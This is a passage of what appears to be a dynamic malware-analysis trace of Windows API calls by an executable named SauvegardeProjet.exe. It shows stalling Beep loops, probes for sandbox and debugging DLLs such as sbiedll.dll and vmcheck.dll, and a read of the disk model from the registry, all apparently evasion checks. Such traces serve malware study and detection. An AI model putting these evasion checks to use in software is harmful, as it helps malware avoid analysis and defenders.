dwDuration=0x1) returned 1 [0102.035] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.036] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.037] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.041] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.068] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.072] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.092] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.105] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.121] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.137] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.157] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.174] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.194] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.201] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.217] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.221] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.234] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.264] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.285] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.302] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.316] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.331] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.334] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.336] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.336] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.340] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.355] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.376] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.386] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.409] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.428] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.437] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.452] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.469] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.485] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.504] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.519] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.533] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.553] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.567] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.586] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.599] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.624] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.633] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.653] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.672] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.680] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.700] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.719] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.728] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.747] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.768] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.778] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.798] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.818] Beep (dwFreq=0x27, dwDuration=0x1) returned 1 [0102.851] GetTimeZoneInformation (in: lpTimeZoneInformation=0x563dcd0 | out: lpTimeZoneInformation=0x563dcd0) returned 0x2 [0102.894] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x563db24 | out: pTimeZoneInformation=0x563db24) returned 0x2 [0102.895] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x563dc08 | out: phkResult=0x563dc08*=0x29c) returned 0x0 [0102.895] RegQueryValueExW (in: hKey=0x29c, lpValueName="TZI", lpReserved=0x0, lpType=0x563dc24, lpData=0x0, lpcbData=0x563dc20*=0x0 | out: lpType=0x563dc24*=0x3, lpData=0x0, lpcbData=0x563dc20*=0x2c) returned 0x0 [0102.895] RegQueryValueExW (in: hKey=0x29c, lpValueName="TZI", lpReserved=0x0, lpType=0x563dc24, lpData=0x277bc8c, lpcbData=0x563dc20*=0x2c | out: lpType=0x563dc24*=0x3, lpData=0x277bc8c*, lpcbData=0x563dc20*=0x2c) returned 0x0 [0102.896] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x563da5c | out: phkResult=0x563da5c*=0x174) returned 0x0 [0102.896] RegQueryValueExW (in: hKey=0x174, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x563da78, lpData=0x0, lpcbData=0x563da74*=0x0 | out: lpType=0x563da78*=0x4, lpData=0x0, lpcbData=0x563da74*=0x4) returned 0x0 [0102.896] RegQueryValueExW (in: hKey=0x174, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x563da78, lpData=0x563da64, lpcbData=0x563da74*=0x4 | out: lpType=0x563da78*=0x4, lpData=0x563da64*=0x7d7, lpcbData=0x563da74*=0x4) returned 0x0 [0102.896] RegQueryValueExW (in: hKey=0x174, lpValueName="LastEntry", lpReserved=0x0, lpType=0x563da78, lpData=0x0, lpcbData=0x563da74*=0x0 | out: lpType=0x563da78*=0x4, lpData=0x0, lpcbData=0x563da74*=0x4) returned 0x0 [0102.896] RegQueryValueExW (in: hKey=0x174, lpValueName="LastEntry", lpReserved=0x0, lpType=0x563da78, lpData=0x563da64, lpcbData=0x563da74*=0x4 | out: lpType=0x563da78*=0x4, lpData=0x563da64*=0x7d8, lpcbData=0x563da74*=0x4) returned 0x0 [0102.896] RegQueryValueExW (in: hKey=0x174, lpValueName="2007", lpReserved=0x0, lpType=0x563da78, lpData=0x0, lpcbData=0x563da74*=0x0 | out: lpType=0x563da78*=0x3, lpData=0x0, lpcbData=0x563da74*=0x2c) returned 0x0 [0102.896] RegQueryValueExW (in: hKey=0x174, lpValueName="2007", lpReserved=0x0, lpType=0x563da78, lpData=0x277c24c, lpcbData=0x563da74*=0x2c | out: lpType=0x563da78*=0x3, lpData=0x277c24c*, lpcbData=0x563da74*=0x2c) returned 0x0 [0102.897] RegQueryValueExW (in: hKey=0x174, lpValueName="2008", lpReserved=0x0, lpType=0x563da78, lpData=0x0, lpcbData=0x563da74*=0x0 | out: lpType=0x563da78*=0x3, lpData=0x0, lpcbData=0x563da74*=0x2c) returned 0x0 [0102.897] RegQueryValueExW (in: hKey=0x174, lpValueName="2008", lpReserved=0x0, lpType=0x563da78, lpData=0x277c30c, lpcbData=0x563da74*=0x2c | out: lpType=0x563da78*=0x3, lpData=0x277c30c*, lpcbData=0x563da74*=0x2c) returned 0x0 [0102.897] RegCloseKey (hKey=0x174) returned 0x0 [0102.897] RegQueryValueExW (in: hKey=0x29c, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x563dbfc, lpData=0x0, lpcbData=0x563dbf8*=0x0 | out: lpType=0x563dbfc*=0x1, lpData=0x0, lpcbData=0x563dbf8*=0x20) returned 0x0 [0102.898] RegQueryValueExW (in: hKey=0x29c, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x563dbfc, lpData=0x277c454, lpcbData=0x563dbf8*=0x20 | out: lpType=0x563dbfc*=0x1, lpData="@tzres.dll,-670", lpcbData=0x563dbf8*=0x20) returned 0x0 [0102.898] RegQueryValueExW (in: hKey=0x29c, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x563dbfc, lpData=0x0, lpcbData=0x563dbf8*=0x0 | out: lpType=0x563dbfc*=0x1, lpData=0x0, lpcbData=0x563dbf8*=0x20) returned 0x0 [0102.898] RegQueryValueExW (in: hKey=0x29c, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x563dbfc, lpData=0x277c4ac, lpcbData=0x563dbf8*=0x20 | out: lpType=0x563dbfc*=0x1, lpData="@tzres.dll,-672", lpcbData=0x563dbf8*=0x20) returned 0x0 [0102.898] RegQueryValueExW (in: hKey=0x29c, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x563dbfc, lpData=0x0, lpcbData=0x563dbf8*=0x0 | out: lpType=0x563dbfc*=0x1, lpData=0x0, lpcbData=0x563dbf8*=0x20) returned 0x0 [0102.898] RegQueryValueExW (in: hKey=0x29c, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x563dbfc, lpData=0x277c504, lpcbData=0x563dbf8*=0x20 | out: lpType=0x563dbfc*=0x1, lpData="@tzres.dll,-671", lpcbData=0x563dbf8*=0x20) returned 0x0 [0104.153] CoTaskMemAlloc (cb=0x20c) returned 0x4e80f70 [0104.153] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x4e80f70 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0104.154] CoTaskMemFree (pv=0x4e80f70) [0104.155] CoTaskMemAlloc (cb=0x20c) returned 0x4e80f70 [0104.155] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x563dc18, pwszFileMUIPath=0x4e80f70, pcchFileMUIPath=0x563dc1c, pululEnumerator=0x563dc10 | out: pwszLanguage=0x0, pcchLanguage=0x563dc18, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x563dc1c, pululEnumerator=0x563dc10) returned 1 [0104.416] CoTaskMemFree (pv=0x0) [0104.416] CoTaskMemFree (pv=0x4e80f70) [0104.417] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0xd00001 [0104.709] CoTaskMemAlloc (cb=0x3ec) returned 0x4e80f70 [0104.709] LoadStringW (in: hInstance=0xd00001, uID=0x29e, lpBuffer=0x4e80f70, cchBufferMax=500 | out: lpBuffer="(UTC+10:00) Canberra, Melbourne, Sydney") returned 0x27 [0104.709] CoTaskMemFree (pv=0x4e80f70) [0104.709] FreeLibrary (hLibModule=0xd00001) returned 1 [0104.710] CoTaskMemAlloc (cb=0x20c) returned 0x4e80f70 [0104.710] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x4e80f70 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0104.710] CoTaskMemFree (pv=0x4e80f70) [0104.710] CoTaskMemAlloc (cb=0x20c) returned 0x4e80f70 [0104.710] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x563dc18, pwszFileMUIPath=0x4e80f70, pcchFileMUIPath=0x563dc1c, pululEnumerator=0x563dc10 | out: pwszLanguage=0x0, pcchLanguage=0x563dc18, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x563dc1c, pululEnumerator=0x563dc10) returned 1 [0104.711] CoTaskMemFree (pv=0x0) [0104.711] CoTaskMemFree (pv=0x4e80f70) [0104.711] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0xd00001 [0104.712] CoTaskMemAlloc (cb=0x3ec) returned 0x4e80f70 [0104.712] LoadStringW (in: hInstance=0xd00001, uID=0x2a0, lpBuffer=0x4e80f70, cchBufferMax=500 | out: lpBuffer="AUS Eastern Standard Time") returned 0x19 [0104.712] CoTaskMemFree (pv=0x4e80f70) [0104.712] FreeLibrary (hLibModule=0xd00001) returned 1 [0104.713] CoTaskMemAlloc (cb=0x20c) returned 0x4e80f70 [0104.713] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x4e80f70 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0104.713] CoTaskMemFree (pv=0x4e80f70) [0104.713] CoTaskMemAlloc (cb=0x20c) returned 0x4e80f70 [0104.713] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x563dc18, pwszFileMUIPath=0x4e80f70, pcchFileMUIPath=0x563dc1c, pululEnumerator=0x563dc10 | out: pwszLanguage=0x0, pcchLanguage=0x563dc18, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x563dc1c, pululEnumerator=0x563dc10) returned 1 [0104.714] CoTaskMemFree (pv=0x0) [0104.714] CoTaskMemFree (pv=0x4e80f70) [0104.714] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0xd00001 [0104.714] CoTaskMemAlloc (cb=0x3ec) returned 0x4e80f70 [0104.714] LoadStringW (in: hInstance=0xd00001, uID=0x29f, lpBuffer=0x4e80f70, cchBufferMax=500 | out: lpBuffer="AUS Eastern Daylight Time") returned 0x19 [0104.715] CoTaskMemFree (pv=0x4e80f70) [0104.715] FreeLibrary (hLibModule=0xd00001) returned 1 [0104.715] RegCloseKey (hKey=0x29c) returned 0x0 [0104.803] NtDelayExecution (Alertable=0, Interval=0x278881c*=-2370000) returned 0x0 [0105.123] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4e792e0 [0105.123] CoTaskMemAlloc (cb=0x18) returned 0x6af4b0 [0105.126] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="sbiedll.dll", DllHandle=0x563e108 | out: DllHandle=0x563e108*=0x0) returned 0xc0000135 [0105.129] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4e79350 [0105.129] CoTaskMemAlloc (cb=0x18) returned 0x6af130 [0105.132] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="guard32.dll", DllHandle=0x563e108 | out: DllHandle=0x563e108*=0x0) returned 0xc0000135 [0105.132] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4e79470 [0105.132] CoTaskMemAlloc (cb=0x18) returned 0x6af210 [0105.138] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="dbghelp.dll", DllHandle=0x563e108 | out: DllHandle=0x563e108*=0x0) returned 0xc0000135 [0105.139] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4e79430 [0105.139] CoTaskMemAlloc (cb=0x18) returned 0x6af6b0 [0105.149] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="api_log.dll", DllHandle=0x563e108 | out: DllHandle=0x563e108*=0x0) returned 0xc0000135 [0105.150] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4e79550 [0105.150] CoTaskMemAlloc (cb=0x1c) returned 0x4e78cf0 [0105.152] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="dir_watch.dll", DllHandle=0x563e108 | out: DllHandle=0x563e108*=0x0) returned 0xc0000135 [0105.153] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4e793e0 [0105.153] CoTaskMemAlloc (cb=0x18) returned 0x6af610 [0105.154] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="vmcheck.dll", DllHandle=0x563e108 | out: DllHandle=0x563e108*=0x0) returned 0xc0000135 [0105.155] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4e7e760 [0105.155] CoTaskMemAlloc (cb=0x18) returned 0x6af710 [0105.157] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="LOG_API.DLL", DllHandle=0x563e108 | out: DllHandle=0x563e108*=0x0) returned 0xc0000135 [0105.157] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x4e7e7a0 [0105.157] CoTaskMemAlloc (cb=0x18) returned 0x6af5f0 [0105.159] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="pstorec.dll", DllHandle=0x563e108 | out: DllHandle=0x563e108*=0x0) returned 0xc0000135 [0105.166] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Services\\Disk\\Enum", ulOptions=0x0, samDesired=0x20019, phkResult=0x563de5c | out: phkResult=0x563de5c*=0x29c) returned 0x0 [0105.169] RegQueryValueExW (in: hKey=0x29c, lpValueName="0", lpReserved=0x0, lpType=0x563de78, lpData=0x0, lpcbData=0x563de74*=0x0 | out: lpType=0x563de78*=0x1, lpData=0x0, lpcbData=0x563de74*=0x98) returned 0x0 [0105.169] RegQueryValueExW (in: hKey=0x29c, lpValueName="0", lpReserved=0x0, lpType=0x563de78, lpData=0x2649fc8, lpcbData=0x563de74*=0x98 | out: lpType=0x563de78*=0x1, lpData="IDE\\DiskHD502HI_________________________________OF90____\\5&37d1a386&0&0.0.0", lpcbData=0x563de74*=0x98) returned 0x0 [0105.278] RegCloseKey (hKey=0x29c) returned 0x0 [0105.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe", nBufferLength=0x105, lpBuffer=0x563dc3c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe", lpFilePart=0x0) returned 0x3a [0105.499] CoTaskMemAlloc (cb=0x20c) returned 0x4e81370 [0105.499] SHGetFolderPathW (in: hwnd=0x0, csidl=41, hToken=0x0, dwFlags=0x0, pszPath=0x4e81370 | out: pszPath="C:\\Windows\\SysWOW64") returned 0x0 [0105.500] CoTaskMemFree (pv=0x4e81370) [0105.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64", nBufferLength=0x105, lpBuffer=0x563dc28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64", lpFilePart=0x0) returned 0x13 [0105.618] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x377fbf0, Length=0x20000, ResultLength=0x563e00c | out: SystemInformation=0x377fbf0, ResultLength=0x563e00c*=0x9180) returned 0x0 [0107.876] EnumProcessModules (in: hProcess=0x2c4, lphModule=0x272d724, cb=0x100, lpcbNeeded=0x563be20 | out: lphModule=0x272d724, lpcbNeeded=0x563be20) returned 1 [0107.877] GetModuleInformation (in: hProcess=0x2c4, hModule=0xea0000, lpmodinfo=0x272d864, cb=0xc | out: lpmodinfo=0x272d864*(lpBaseOfDll=0xea0000, SizeOfImage=0x9c000, EntryPoint=0xf36c3e)) returned 1 [0107.877] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.877] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0xea0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0107.877] CoTaskMemFree (pv=0x4e83770) [0107.877] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.877] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0xea0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0107.877] CoTaskMemFree (pv=0x4e83770) [0107.877] GetModuleInformation (in: hProcess=0x2c4, hModule=0x77850000, lpmodinfo=0x272f9d8, cb=0xc | out: lpmodinfo=0x272f9d8*(lpBaseOfDll=0x77850000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0107.877] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.878] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x77850000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0107.878] CoTaskMemFree (pv=0x4e83770) [0107.878] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.878] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x77850000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0107.878] CoTaskMemFree (pv=0x4e83770) [0107.878] GetModuleInformation (in: hProcess=0x2c4, hModule=0x75250000, lpmodinfo=0x2731adc, cb=0xc | out: lpmodinfo=0x2731adc*(lpBaseOfDll=0x75250000, SizeOfImage=0x4a000, EntryPoint=0x75252e54)) returned 1 [0107.878] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.878] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x75250000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0107.878] CoTaskMemFree (pv=0x4e83770) [0107.878] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.878] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x75250000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0107.878] CoTaskMemFree (pv=0x4e83770) [0107.879] GetModuleInformation (in: hProcess=0x2c4, hModule=0x75a20000, lpmodinfo=0x2733be8, cb=0xc | out: lpmodinfo=0x2733be8*(lpBaseOfDll=0x75a20000, SizeOfImage=0x110000, EntryPoint=0x75a332d3)) returned 1 [0107.879] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.879] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x75a20000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0107.879] CoTaskMemFree (pv=0x4e83770) [0107.879] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.879] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x75a20000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0107.879] CoTaskMemFree (pv=0x4e83770) [0107.879] GetModuleInformation (in: hProcess=0x2c4, hModule=0x765f0000, lpmodinfo=0x2735cfc, cb=0xc | out: lpmodinfo=0x2735cfc*(lpBaseOfDll=0x765f0000, SizeOfImage=0x46000, EntryPoint=0x765f7478)) returned 1 [0107.879] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.880] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x765f0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0107.880] CoTaskMemFree (pv=0x4e83770) [0107.880] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.880] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x765f0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0107.880] CoTaskMemFree (pv=0x4e83770) [0107.880] GetModuleInformation (in: hProcess=0x2c4, hModule=0x75b30000, lpmodinfo=0x2737e44, cb=0xc | out: lpmodinfo=0x2737e44*(lpBaseOfDll=0x75b30000, SizeOfImage=0xa0000, EntryPoint=0x75b449e5)) returned 1 [0107.880] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.880] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x75b30000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0107.880] CoTaskMemFree (pv=0x4e83770) [0107.880] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.881] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x75b30000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0107.881] CoTaskMemFree (pv=0x4e83770) [0107.881] GetModuleInformation (in: hProcess=0x2c4, hModule=0x75e30000, lpmodinfo=0x2739f58, cb=0xc | out: lpmodinfo=0x2739f58*(lpBaseOfDll=0x75e30000, SizeOfImage=0xac000, EntryPoint=0x75e3a472)) returned 1 [0107.881] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.881] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x75e30000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0107.881] CoTaskMemFree (pv=0x4e83770) [0107.881] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.881] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x75e30000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0107.881] CoTaskMemFree (pv=0x4e83770) [0107.882] GetModuleInformation (in: hProcess=0x2c4, hModule=0x762b0000, lpmodinfo=0x273c064, cb=0xc | out: lpmodinfo=0x273c064*(lpBaseOfDll=0x762b0000, SizeOfImage=0x19000, EntryPoint=0x762b4975)) returned 1 [0107.882] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.882] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x762b0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0107.882] CoTaskMemFree (pv=0x4e83770) [0107.882] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.882] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x762b0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0107.882] CoTaskMemFree (pv=0x4e83770) [0107.882] GetModuleInformation (in: hProcess=0x2c4, hModule=0x772d0000, lpmodinfo=0x273e170, cb=0xc | out: lpmodinfo=0x273e170*(lpBaseOfDll=0x772d0000, SizeOfImage=0xf0000, EntryPoint=0x772e0569)) returned 1 [0107.883] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.883] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x772d0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0107.883] CoTaskMemFree (pv=0x4e83770) [0107.883] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.883] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x772d0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0107.883] CoTaskMemFree (pv=0x4e83770) [0107.883] GetModuleInformation (in: hProcess=0x2c4, hModule=0x753b0000, lpmodinfo=0x27402c8, cb=0xc | out: lpmodinfo=0x27402c8*(lpBaseOfDll=0x753b0000, SizeOfImage=0x60000, EntryPoint=0x753ca3b3)) returned 1 [0107.883] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.883] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x753b0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0107.884] CoTaskMemFree (pv=0x4e83770) [0107.884] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.884] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x753b0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0107.884] CoTaskMemFree (pv=0x4e83770) [0107.884] GetModuleInformation (in: hProcess=0x2c4, hModule=0x753a0000, lpmodinfo=0x27423d4, cb=0xc | out: lpmodinfo=0x27423d4*(lpBaseOfDll=0x753a0000, SizeOfImage=0xc000, EntryPoint=0x753a10e1)) returned 1 [0107.884] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.884] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x753a0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0107.885] CoTaskMemFree (pv=0x4e83770) [0107.885] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.885] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x753a0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0107.885] CoTaskMemFree (pv=0x4e83770) [0107.885] GetModuleInformation (in: hProcess=0x2c4, hModule=0x751d0000, lpmodinfo=0x27444e8, cb=0xc | out: lpmodinfo=0x27444e8*(lpBaseOfDll=0x751d0000, SizeOfImage=0x78000, EntryPoint=0x751df7ba)) returned 1 [0107.885] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.885] GetModuleBaseNameW (in: hProcess=0x2c4, 